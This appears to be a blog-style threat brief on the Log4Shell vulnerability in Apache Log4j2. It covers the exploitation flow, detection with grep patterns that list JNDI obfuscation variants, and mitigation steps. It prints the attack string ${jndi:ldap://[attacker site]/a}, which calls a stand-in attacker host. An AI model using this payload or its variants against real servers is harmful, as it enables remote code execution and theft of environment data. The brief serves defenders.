Log4j Threat Brief

Medium Article

Executive Summary

On Thursday December 9th a zero-day remote code execution (RCE) vulnerability was detected and publicized on Twitter. Within hours, accounts of active exploitation were being reported. Evidence of active exploitation have so far been traced back 9 days to December 1st. On Saturday, the US Cybersecurity, and Infrastructure Security Agency (CISA) released a statement revealing widespread exploitation. This vulnerability has been classified with a CVE-ID (CVE-2021–44228) and was given a CVSS base score of 10/10, the most severe score possible. Due to the ease of exploitation and the broad scope of applications that use the library, this vulnerability is extremely serious. Many high-profile applications are vulnerable to this attack including, Steam, iCloud, Amazon web apps, and Cisco, to name a few.

The vulnerability was traced to Log4j2, a broadly used Java based logging library maintained by the Apache Software Foundation. This vulnerability is caused by improper input validation when parsing logged data. All versions of Log4j2 released prior to 2.14.1 are affected. Although Apache has released a patch (version 2.16.0), many software vendors have yet to release updates including the patched code. A list of software known to be vulnerable is being maintained by NCSC-NL on GitHub and can be found here.

EXPLOITATION

The exploit named Log4Shell is easy to carry out and can force servers to run malicious code which can produce a reverse shell and allow hackers an entry point into internal networks. The exploit can be triggered if an attacker can get a specific attack string logged through log4j2, this string will trigger log4j2 to make a connection to an attacker-controlled host and download a piece of attacker-provided code and execute that. Once the attack string ${jndi:ldap://[attacker site]/a} is parsed by the log4j2 library, log4j2 will call out to a malicious external resource server to download executable code. In addition to triggering the download of a malicious payload, this exploit can also be used to exfiltrate environment variables. This can be useful to an attacker in the case firewall rules mitigate this vulnerability by preventing the download of a malicious payload.

GovCERT.ch Diagram

EXPLOITATION FLOW

  1. An attacker inserts the JNDI lookup/payload in any part of a web request that is likely to be logged.
  2. The payload is passed to log4j2 for logging.
  3. Log4j2 interpolates the string and queries the malicious LDAP server.
  4. The LDAP server responds with directory information that contains the malicious java class.
  5. Java deserializes or download the malicious java class and execute it

DETECTION

Vulnerability Detection

To detect vulnerable applications, tools such as log4shell cli, developed by LunaSec, can scan Linux and Windows machines to identify file hashes which correspond to vulnerable log4j2 classes.

Exploitation Detection

On Linux machines a batch command can be used to detect exploitation attempts captured in log messages. This command will parse all files ending in .log for attack signatures captured in the SANS honeypot (as of 12/13/2021).

    find / -name “*.log” -exec grep “\${jndi:ldap\|\${\${:: j}\|\${jndi:rmi\|\${\${lower:jndi}\|\${\${lower\:j}\${lower:n}\

Or the following to search compressed log files:

    sudo find / -name \*.gz -print0 | xargs -0 zgrep -E -i
    ‘\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+’

MITIGATION

To mitigate this exploit, log4j2 should be updated to 2.16.0 or later. In log4j2 versions > 2.10, this vulnerability can be mitigated by setting system property “log4j2.formatMsgNoLookups” to “true” or it can be mitigated in prior releases (<2.10) by removing the JndiLookup class from the classpath. example:

    zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Additionally, partial mitigation can be achieved by ensuring web application firewalls can block variations of the malicious attack string. Firewalls can also add an additional layer of protection by preventing servers running log4j2 from contacting external or unapproved resources.


Tags: Log4j, Threat Brief, Vulnerability, Mitigation, Detection, Medium

← Back home